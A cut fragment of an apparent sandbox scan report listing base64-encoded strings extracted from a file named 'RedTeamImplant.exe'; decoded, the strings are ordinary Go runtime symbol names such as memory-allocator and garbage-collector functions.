Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmZpeGFsbG9jKS5hbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmZpeGFsbG9jKS5mcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmZpeGFsbG9jKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKkZyYW1lcykuTmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKkZ1bmMpLkVudHJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmcpLmd1aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQml0cykuYml0cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQml0cykuYnl0ZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQml0c0FyZW5hKS50cnlBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5hZGRHbG9iYWxz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5hZGRJZGxlTWFya1dvcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5hZGRTY2FubmFibGVTdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5jb21taXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5lbmRDeWNsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5lbmxpc3RXb3JrZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5maW5kUnVubmFibGVHQ1dvcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5maW5kUnVubmFibGVHQ1dvcmtlci5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5oZWFwR29hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5oZWFwR29hbEludGVybmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5tYXJrV29ya2VyU3RvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5tZW1vcnlMaW1pdEhlYXBHb2Fs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5uZWVkSWRsZU1hcmtXb3JrZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5yZW1vdmVJZGxlTWFya1dvcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5yZXNldExpdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5yZXZpc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5zZXRHQ1BlcmNlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5zZXRNYXhJZGxlTWFya1dvcmtlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5zZXRNZW1vcnlMaW1pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS5zdGFydEN5Y2xl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS50cmlnZ2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ29udHJvbGxlclN0YXRlKS51cGRhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5hY2N1bXVsYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5hZGRBc3Npc3RUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5hZGRJZGxlVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5maW5pc2hHQ1RyYW5zaXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5saW1pdGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5uZWVkVXBkYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5yZXNldENhcGFjaXR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS5zdGFydEdDVHJhbnNpdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS50cnlMb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS51bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS51cGRhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjQ1BVTGltaXRlclN0YXRlKS51cGRhdGVMb2NrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykuYmFsYW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykuZGlzcG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykuZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykuZmx1c2hTY2FuU3RhdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykuaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykucHV0T2Jq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykucHV0T2JqQmF0Y2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykucHV0T2JqRmFzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykudHJ5R2V0T2Jq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdjV29yaykudHJ5R2V0T2JqRmFzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdMaXN0KS5lbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdMaXN0KS5wb3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdMaXN0KS5wdXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdMaXN0KS5wdXNoQWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdvZGVidWdJbmMpLkluY05vbkRlZmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdvcm91dGluZVByb2ZpbGVTdGF0ZUhvbGRlcikuQ29tcGFyZUFuZFN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdvcm91dGluZVByb2ZpbGVTdGF0ZUhvbGRlcikuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdvcm91dGluZVByb2ZpbGVTdGF0ZUhvbGRlcikuU3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkuZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkucG9w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkucG9wTGlzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkucHVzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkucHVzaEJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdRdWV1ZSkucHVzaEJhY2tBbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmdUcmFjZVN0YXRlKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmd1aW50cHRyKS5jYXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmd1aW50cHRyKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmhjaGFuKS5yYWNlYWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmhjaGFuKS5zb3J0a2V5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmlubGluZVVud2luZGVyKS5maWxlTGluZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmlubGluZVVud2luZGVyKS5uZXh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmlubGluZVVud2luZGVyKS5yZXNvbHZlSW50ZXJuYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmlubGluZVVud2luZGVyKS5zcmNGdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKml0YWJUYWJsZVR5cGUpLmFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKml0YWJUYWJsZVR5cGUpLmFkZC1mbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKml0YWJUYWJsZVR5cGUpLmZpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxmc3RhY2spLmVtcHR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxmc3RhY2spLnBvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxmc3RhY2spLnB1c2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxpbWl0ZXJFdmVudCkuY29uc3VtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxpbWl0ZXJFdmVudCkuc3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxpbWl0ZXJFdmVudCkuc3RvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxpbmVhckFsbG9jKS5hbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmxvY2tSYW5rKS5TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm0pLmJlY29tZVNwaW5uaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm0pLmNsZWFyQWxscFNuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm0pLmhhc0Nnb09uU3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm0pLnNuYXBzaG90QWxscA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1hcmtCaXRzKS5hZHZhbmNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jYWNoZSkuYWxsb2NMYXJnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jYWNoZSkubmV4dEZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jYWNoZSkucHJlcGFyZUZvclN3ZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jYWNoZSkucmVmaWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jYWNoZSkucmVsZWFzZUFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5jYWNoZVNwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5mdWxsU3dlcHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5mdWxsVW5zd2VwdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5ncm93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5wYXJ0aWFsU3dlcHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS5wYXJ0aWFsVW5zd2VwdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1jZW50cmFsKS51bmNhY2hlU3Bhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1lbVJlY29yZEN5Y2xlKS5hZGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1ldHJpY1ZhbHVlKS5mbG9hdDY0SGlzdE9ySW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvYy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvY01hbnVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvY01TcGFuTG9ja2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvY05lZWRzWmVybw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvY1NwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5hbGxvY1NwYW4uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5lbmFibGVNZXRhZGF0YUh1Z2VQYWdlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5mcmVlTWFudWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5mcmVlTVNwYW5Mb2NrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5mcmVlU3Bhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5mcmVlU3BhbkxvY2tlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5ncm93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5pbml0U3Bhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5uZXh0U3BhbkZvclN3ZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5yZWNsYWlt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5yZWNsYWltQ2h1bms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5zZXRTcGFucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS5zeXNBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1oZWFwKS50cnlBbGxvY01TcGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuY2FwdHVyZVN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuY2FwdHVyZVN0YWNrLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuZW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkucmVjb3JkVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuc3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuc3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Mb2NrUHJvZmlsZSkuc3RvcmVTbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1vZHVsZWRhdGEpLmZ1bmNOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1vZHVsZWRhdGEpLnRleHRBZGRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1vZHVsZWRhdGEpLnRleHRPZmY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Qcm9mQ3ljbGVIb2xkZXIpLmluY3JlbWVudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Qcm9mQ3ljbGVIb2xkZXIpLnJlYWQ=","type":"Ansi","source":"Memory/File 